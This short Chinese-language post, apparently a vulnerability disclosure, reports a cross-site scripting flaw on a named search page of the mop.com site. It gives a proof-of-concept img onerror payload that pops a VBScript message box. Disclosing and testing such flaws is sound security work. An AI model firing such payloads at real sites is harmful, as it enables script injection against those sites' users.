猫扑网mop 出现跨站漏洞

漏洞页面：

http://xzh.mop.com/keySearch.jsp

---

测试代码：

1. <img src=x onerror=vbscript:msgbox("SUNRISE")>

复制代码

---

测试截图：

---